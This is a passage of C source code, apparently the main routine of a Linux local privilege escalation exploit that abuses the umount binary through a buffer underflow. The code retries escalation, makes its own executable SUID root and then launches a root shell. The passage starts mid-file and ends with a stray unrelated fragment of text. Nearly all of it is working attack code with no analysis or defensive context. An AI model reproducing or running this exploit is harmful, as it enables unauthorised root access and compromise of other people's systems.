fprintf(stderr, "Failed to launch shell %s\n", shellName); return(-1); } int main(int argc, char **argv) { char *programmName=argv[0]; int exitStatus=1; if(getuid()==0) { fprintf(stderr, "%s: you are already root, invoking shell ...\n", programmName); invokeShell(NULL); return(1); } if(geteuid()==0) { struct stat statBuf; int result=stat("/proc/self/exe", &statBuf); assert(!result); if(statBuf.st_uid||statBuf.st_gid) { fprintf(stderr, "%s: internal invocation, setting SUID mode\n", programmName); int handle=open("/proc/self/exe", O_RDONLY); fchown(handle, 0, 0); fchmod(handle, 04755); exit(0); } fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n", programmName); setresgid(0, 0, 0); setresuid(0, 0, 0); invokeShell(NULL); return(1); } for(int argPos=1; argPos<argc;) { char *argName=argv[argPos++]; if(argPos==argc) { fprintf(stderr, "%s requires parameter\n", argName); return(1); } if(!strcmp("--Pid", argName)) { char *endPtr; namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10); if((errno)||(*endPtr)) { fprintf(stderr, "Invalid pid value\n"); return(1); } killNamespacedProcessFlag=0; } else { fprintf(stderr, "Unknown argument %s\n", argName); return(1); } } fprintf(stderr, "%s: setting up environment ...\n", programmName); if(!osRelease) { if(detectOsRelease()) { fprintf(stderr, "Failed to detect OS version, continuing anyway\n"); } } umountPathname=findUmountBinaryPathname("/bin"); if((!umountPathname)&&(getenv("PATH"))) umountPathname=findUmountBinaryPathname(getenv("PATH")); if(!umountPathname) { fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n"); goto preReturnCleanup; } fprintf(stderr, "%s: using umount at \"%s\".\n", programmName, umountPathname); pid_t nsPid=prepareNamespacedProcess(); if(nsPid<0) { goto preReturnCleanup; } // Gaining root can still fail due to ASLR creating additional // path separators in memory addresses residing in area to be // overwritten by buffer underflow. Retry regaining until this // executable changes uid/gid. int escalateMaxAttempts=10; int excalateCurrentAttempt=0; while(excalateCurrentAttempt<escalateMaxAttempts) { excalateCurrentAttempt++; fprintf(stderr, "Attempting to gain root, try %d of %d ...\n", excalateCurrentAttempt, escalateMaxAttempts); attemptEscalation(); struct stat statBuf; int statResult=stat("/proc/self/exe", &statBuf); int stat(const char *pathname, struct stat *buf); if(statResult) { fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n"); break; } if(statBuf.st_uid==0) { fprintf(stderr, "Executable now root-owned\n"); goto escalateOk; } } fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n"); preReturnCleanup: if(namespacedProcessPid>0) { if(killNamespacedProcessFlag) { kill(namespacedProcessPid, SIGKILL); } else { // We used an existing namespace or chroot to escalate. Remove // the files created there. fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n"); } } if(!exitStatus) { fprintf(stderr, "Cleanup completed, re-invoking binary\n"); invokeShell("/proc/self/exe"); exitStatus=1; } return(exitStatus); escalateOk: exitStatus=0; goto preReturnCleanup; } |
体验盒子
